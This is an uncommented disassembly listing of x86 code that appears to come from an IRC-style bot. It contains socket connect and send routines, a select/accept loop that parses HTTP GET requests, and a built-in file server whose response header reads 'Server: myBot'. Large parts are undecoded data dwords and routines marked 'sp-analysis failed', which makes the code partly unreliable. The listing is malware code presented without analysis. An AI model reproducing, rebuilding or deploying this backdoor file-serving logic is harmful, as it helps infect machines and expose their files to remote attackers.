		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 2Fh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah
		dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
		dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 90575010h, 6A4A69E8h
		dd 7DC08571h, 0E9C38B07h, 548h,	90570A6Ah, 6A6969E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h, 0F8839071h
		dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CA87E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 16E57E8h, 0FC08500h,	4A284h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A916CE8h
		dd 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h, 6AFFFFFDh
		dd 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h,	33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 6A248CE8h, 0BCE99071h, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	4349A4h
		dd 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h, 39E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 49846816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h, 0D414h
		dd 59C08559h, 6A560A75h, 49646814h, 61EB0043h, 0FF50858Dh
		dd 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h, 560A7559h
		dd 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh,	434944h
		dd 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h,	434930h
		dd 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h,	0BF000002h
		dd 434904h, 0FF50858Dh,	5057FFFFh, 0D38BE8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h, 0D374h
		dd 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h, 8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 4348D468h, 263E900h, 858D0000h, 0FFFFFF50h
		dd 4348CC68h, 19E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 4348A0h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh, 434898h, 0D2CEE850h
		dd 85590000h, 2A7559C0h, 80BE056Ah, 59004348h, 0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C218h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43487868h
		dd 8DE85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E445h
		dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 485068FFh,	0E8500043h
		dd 0D4E7h, 0FF04858Dh, 0E850FFFFh, 0C951h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C943E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C748h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 48486857h
		dd 0E8500043h, 0CA26h, 858D106Ah, 0FFFFFF04h, 56E85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E4458D50h, 0DC458D50h
		dd 0D4458D50h, 0B4458D50h, 43483C68h, 0F3E85000h, 830000C9h
		dd 6A5618C4h, 481C681Dh, 6E90043h, 8D000001h, 0FFFF5085h
		dd 481468FFh, 0E8500043h, 0D1BCh, 59C08559h, 0CC850Fh
		dd 6A560000h, 47E86828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 8E850B4h, 59000001h,	5901F883h, 9E850Fh, 0B5390000h
		dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh
		dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 9F7FE8FFh, 0C483FFFFh
		dd 14AE814h, 0F8830000h, 93850F01h, 56000000h, 0D068176Ah
		dd 0FF004347h, 0D3FF0875h, 50B4458Dh, 0F720858Dh, 9868FFFFh
		dd 50004347h, 0C949E8h,	0CC48300h, 0FBBCB539h, 2375FFFFh
		dd 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h
		dd 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h, 8D14C483h, 0FFF72085h
		dd 0E1E850FFh, 0FF000063h, 4CE4E005h, 2EEB5900h, 68206A56h
		dd 434774h, 858D1FEBh, 0FFFFFF50h, 42CD2068h, 0D5E85000h
		dd 590000D0h, 7559C085h, 1B6A560Dh, 43475868h, 875FF00h
		dd 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5D3E8h, 87D8B00h
		dd 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB19h,	0FFFAD9E9h
		dd 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 26A0428h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 27515ACh
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26B04AAh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


